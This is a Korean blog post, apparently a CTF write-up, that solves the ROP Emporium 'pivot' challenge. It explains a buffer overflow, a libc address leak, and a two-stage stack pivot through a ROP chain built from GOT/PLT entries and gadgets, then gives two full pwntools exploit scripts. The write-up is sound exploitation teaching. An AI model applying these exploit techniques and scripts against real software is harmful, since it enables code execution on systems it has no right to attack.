상세 컨텐츠

본문 제목

[ROP Emporium] pivot

SYSTEM HACKING/CTF, etc

by koharin 2020. 4. 20. 16:25

본문

728x90
반응형

# 보호기법 / file

 

 

NX enabled : 쉘코드 실행 권한 X

Partial RELRO : GOT Overwrite 가능

 

$ ldd pivot : 확인해봤을 때 libc base 주소 계속 바뀜 -> ASLR 걸려있음

$ file pivot : dynamically linked, no stripped


# Process

 

 

uselessFunction 함수를 어셈블리 코드로 확인해보면 역시 아래 usefulGadgets이 있다.

 

- mov rax, [rax] ; ret : rax 레지스터 주소에 적힌 값을 rax 레지스터에 넣는다.

만약 rax 레지스터 값이 got got에 적힌 함수 주소 값이 rax 레지스터에 적힐 것이다.

- pop rax ; ret : x64 아키텍쳐에서 rdi, rsi, rdx, rax 순이므로 4번째 인자 값을 레지스터에 넣는 것

- add rax, rbp ; ret : rax 레지스터 값과 rbp 레지스터 값을 + 연산해서 rax 레지스터에 값으로 넣는다.

(첫 번째 operand는 저장할 수 있는 reg 또는 mem이어야 함)

 

 

pwnme() 함수가 취약점이 있는 코드이다. fgets에서 s 배열의 크기는 0x20인데 0x40을 표준입력받으므로 BOF 취약점이 존재한다.

 

1. return address -> ret2win

 

 

출력해주는 addr와 ret2win 사이의 offset을 구할 수 있다.

이 offset으로 ret2win 주소를 구한다.

 

 

ret2win에서 인자로 넣는 주소 값을 string으로 확인해보면 /bin/cat flag.txt가 있다.

따라서 ret2win()함수는 system(“/bin/cat flag.txt”) 명령어를 실행하고 exit(0)하는 함수임을 알 수 있다.

 

목표는 libc leak으로 ret2win() 함수의 실행 시 주소를 구하고 return addressret2win() 함수 주소로 덮어서 flag를 출력하는 것이다.

 

 

출력해주는 주소를 leak해서 구한 ret2win() 함수와의 offset으로 ret2win() 함수의 실행 시 주소를 구하고 두 번째 fgets return addressret2win() 함수 주소로 덮었더니 flag가 출력됐다!

 

위의 방법은 useful gadget을 사용하지 않으므로 정석 방법으로도 풀어봤다.

 

 

2. stack pivot

 

문제의 설명을 읽어보면 foothold_function의 PLT와 GOT를 사용라고 한다.

 

stack pivot은 2 stage로 진행하는데 먼저 2nd stage 후 1st stage로 페이로드를 구성한다.

 

1.  foothold_function 호출

 

 

ret2win을 호출하는 것과 무슨 차이가 있나 봤더니 ret2win에서는 foothold_function이 인자로 넣는 주소에서 몇 바이트 뒤에 flag 출력 주소가 있다면 ret2win은 바로 flag 출력하는 명령어 주소를 가져온다.

 

 

2. rax 레지스터에 foothold_function got 넣는다.

3. mov rax, [rax] ; ret 사용. 그럼 rax 레지스터에 got에 적힌 주소가 들어감. foothold_functionlibc 주소이다.

4. pop rbp ; ret 으로 rbp0x14e 넣는다.

 

 

5. ret2win은 플래그 출력 함수. 따라서 add rax, rbp ; ret 함수로 rax0x14e 더해서 ret2win주소 넣을 수 있다.

6. call raxret2win으로 이동

 

 

두번째 페이로드

1. SFP pop rax ; ret으로 pivot 주소 넣는다.

2. xchg rax, rsp ; ret으로 rax rsp가 가리키는 데이터 넣고, rsp rax가 가리키는 데이터 넣는다.

 

그리고 이 pivot에는 foothold_function plt가 적혀있다.

 

 

6개 과정의 첫번째 페이로드 진행 후 플래그를 출력해준다.

 

두 번째가 실질적으로는 앞에 위치한다.

pop raxrax 레지스터에 pivot을 넣고 rsprax가 가진 데이터, pivot 주소를 넣으면 pivot으로 이동한다.

이게 leave ret에서 leave 부분 그리고 ret 시 이동하는 것이다.

그럼 stage2로 이동, footfunction 호출 첫 번째 fgets에서는 foothold_function을 호출한다. 호출하면 그리고 마지막에 call raxraxret2win이므로 ret2win을 호출해서 플래그가 출력된다!

(leave ret이 함수에 있으면 보통 한 번 더 한다고 생각하면 된다. leave ret이 두 번)

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./pivot")
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
pop_rdi = 0x400b73

p.recvuntil(": ")
addr = int(p.recv(14), 16)
log.info("addr : "+hex(addr))

ret2win = addr + 0x3cbbae

log.info("ret2win : "+hex(ret2win))

p.sendlineafter("> ", 'A')
p.sendlineafter("> ", 'A'*(0x20+0x8) + p64(ret2win))

p.interactive()
#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./pivot")
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
pop_rdi = 0x400b73
pop_rax = 0x400b00
mov_rax_rax = 0x400b05
add_rax_rbp = 0x400b09
leave_ret = 0x400ae0
call_rax = 0x40098e
xchg_rax_rsp = 0x400B02
pop_rbp = 0x00400900

p.recvuntil(": ")
pivot = int(p.recv(14), 16)
log.info("addr : "+hex(pivot))

gdb.attach(p)
# ret2win
pay = p64(elf.plt['foothold_function'])
pay += p64(pop_rax) + p64(elf.got['foothold_function'])
pay += p64(mov_rax_rax)
pay += p64(pop_rbp) + p64(0x14e)
pay += p64(add_rax_rbp)
pay += p64(call_rax)

p.sendlineafter("> ", pay)


pay = 'A'*(0x20+0x8)
pay += p64(pop_rax) + p64(pivot)
pay += p64(xchg_rax_rsp)

p.sendlineafter("> ", pay)


p.interactive()

 

 

728x90
반응형

관련글 더보기